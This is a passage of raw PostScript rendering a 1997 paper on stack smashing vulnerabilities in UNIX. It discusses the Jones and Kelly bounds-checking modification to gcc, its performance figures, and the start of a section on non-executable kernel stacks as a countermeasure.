0.0000 0.0000 1.0000 SET_CMYK GS n 5442 2219 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5780 2219 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5933 2219 M (checked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 2219 M (again ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6922 2219 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7093 2219 M (insure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1943 M (that ) ST -2 0 MR (the ) ST -3 0 MR (expression's ) ST -3 0 MR (result ) ST -3 0 MR (points ) ST -3 0 MR (to ) ST -3 0 MR (the ) ST -3 0 MR (same ) ST -3 0 MR (storage ) ST -3 0 MR (region.) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 26 26 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1897 9848 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2256 9848 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3354 9848 M (Jones ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 9848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4072 9848 M (Kelly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4495 9848 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5150 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5407 9848 M (front ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5785 9848 M (end ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6079 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6272 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6529 9848 M (GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6943 9848 M (p) ST -3 0 MR (r) ST -3 0 MR (o) ST -3 0 MR (j) ST -3 0 MR (e) ST -3 0 MR (c) ST -3 0 MR (t) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (cc ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1396 9572 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2075 9572 M (gcc. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2393 9572 M (Code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2789 9572 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3093 9572 M (added ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3535 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3709 9572 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4142 9572 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4658 9572 M (arithmetic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5378 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5663 9572 M (use, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5972 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6257 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6431 9572 M (maintain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7058 9572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7177 9572 M (table ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1416 9296 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1940 9296 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2612 9296 M (storage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3165 9296 M (regions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3727 9296 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4159 9296 M (splay ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4582 9296 M (trees ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4969 9296 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5236 9296 M (efficiency. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6058 9296 M (Limited ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6657 9296 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (statistics are as follows:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 8891 M 7523 8891 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8886 M 1181 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8886 M 7519 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1700 8746 M (Performance) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8712 M 1181 8553 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8712 M 7519 8553 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8552 M 1181 8393 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8552 M 7519 8393 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8426 M ( nfib \(dumb doubly-recursive Fibonacci\): no slowdown. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8392 M 1181 8233 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8392 M 7519 8233 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8266 M ( Execution time: same. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8232 M 1181 8073 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8232 M 7519 8073 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8106 M ( Compile-time: slowdown of 3 \(very small\) ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8072 M 1181 7913 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8072 M 7519 7913 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7946 M ( Executable size: much larger due to inclusion of library. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7912 M 1181 7753 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7912 M 7519 7753 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7786 M ( Matrix multiply \(ikj, using array subscription\): ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7752 M 1181 7593 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7752 M 7519 7593 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7626 M ( Execution time: slowdown of around 30 compared to unoptimised. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7592 M 1181 7433 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7592 M 7519 7433 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7466 M ( Compile-time: slowdown of around 2. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7432 M 1181 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7432 M 7519 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7306 M ( Executable size: roughly the same. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7253 M 7523 7253 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3290 7122 M (Example 9.2.a Jones and Kelly results) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 6853 M (Despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1796 6853 M (semi-favorable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2876 6853 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3799 6853 M (statistics, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4494 6853 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4703 6853 M (addition ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5327 6853 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5536 6853 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5819 6853 M (general ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6389 6853 M (risk ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6719 6853 M (involved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 6853 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6577 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1954 6577 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2215 6577 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2384 6577 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3042 6577 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3220 6577 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3518 6577 M (level, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3941 6577 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4239 6577 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5147 6577 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5768 6577 M (patching ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6398 6577 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6696 6577 M (recompiling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6301 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1458 6301 M (existing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2036 6301 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2199 6301 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2843 6301 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3135 6301 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3344 6301 M (libraries. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4026 6301 M (Furthermore, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4954 6301 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5172 6301 M (previously ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 6301 M (compiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6597 6301 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6301 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6025 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1404 6025 M (deleted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1926 6025 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2208 6025 M (recompiled ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2999 6025 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3336 6025 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3581 6025 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3900 6025 M (libraries. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4572 6025 M (Once ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4965 6025 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5247 6025 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5400 6025 M (done, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5807 6025 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6015 6025 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6584 6025 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6792 6025 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 6025 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5749 M (will execute with respect to this patch.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5473 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1904 5473 M (conclusion, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2730 5473 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3487 5473 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3754 5473 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3929 5473 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4593 5473 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4796 5473 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5063 5473 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5238 5473 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5894 5473 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6087 5473 M (limit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6465 5473 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 5473 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5197 M (opportunities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2128 5197 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2513 5197 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3119 5197 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3855 5197 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4101 5197 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4255 5197 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4898 5197 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5061 5197 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5178 5197 M (non-trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5923 5197 M (level. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6373 5197 M (Additionally, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5197 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4921 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1655 4921 M (complex ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2349 4921 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2710 4921 M (comprehensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3839 4921 M (solutions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4560 4921 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4820 4921 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5181 4921 M (nature, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5760 4921 M (despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6352 4921 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6778 4921 M (long ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7194 4921 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4645 M (centralization, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2235 4645 M (still ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2567 4645 M (remain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3113 4645 M (largely ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3658 4645 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4628 4645 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4951 4645 M (difficult ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5570 4645 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5782 4645 M (implement ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6577 4645 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6900 4645 M (test ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 4645 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4645 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4369 M (reasonable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1972 4369 M (amount ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2528 4369 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2724 4369 M (time. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3161 4369 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3477 4369 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3877 4369 M (trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4331 4369 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5303 4369 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5499 4369 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5796 4369 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6269 4369 M (degenerate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7047 4369 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4093 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1542 4093 M (compiler ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2215 4093 M (warning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2841 4093 M (messages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3552 4093 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3882 4093 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4194 4093 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4570 4093 M (encourage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5335 4093 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5619 4093 M (programmer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6525 4093 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6735 4093 M (modify ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 4093 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3817 M (program manually.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 3516 M (11.3 CPU/OS kernel stack execution privilege) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3233 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 3233 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2458 3233 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3272 3233 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3966 3233 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4179 3233 M (preventing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4974 3233 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 3233 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5836 3233 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6549 3233 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2957 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1819 2957 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2560 2957 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2765 2957 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3441 2957 M (s) ST -3 0 MR (y) ST -3 0 MR (s) ST -4 0 MR (t) ST -4 0 MR (e) ST -4 0 MR (m) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4047 2957 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4511 2957 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5114 2957 M (limit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5476 2957 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5829 2957 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6126 2957 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6266 2957 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6619 2957 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6879 2957 M (cover ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2957 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2681 M (actual ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1721 2681 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2185 2681 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2761 2681 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3179 2681 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3911 2681 M (effectively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4745 2681 M (removes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5432 2681 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5757 2681 M (k) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (n) ST -4 0 MR (e) ST -4 0 MR (l) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6390 2681 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6854 2681 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2405 M (permission. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2087 2405 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2447 2405 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2733 2405 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2871 2405 M (fundamental ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3767 2405 M (advantages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4570 2405 M (over ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4930 2405 M (other ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5336 2405 M (counter-measures. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6660 2405 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6909 2405 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 2405 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2129 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1986 2129 M (method ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2536 2129 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2716 2129 M (limiting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3293 2129 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3686 2129 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4366 2129 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 2129 M (no ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5627 2129 M (recompilation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6602 2129 M (of ) ST GR 0.0000 0.0000 0.0000 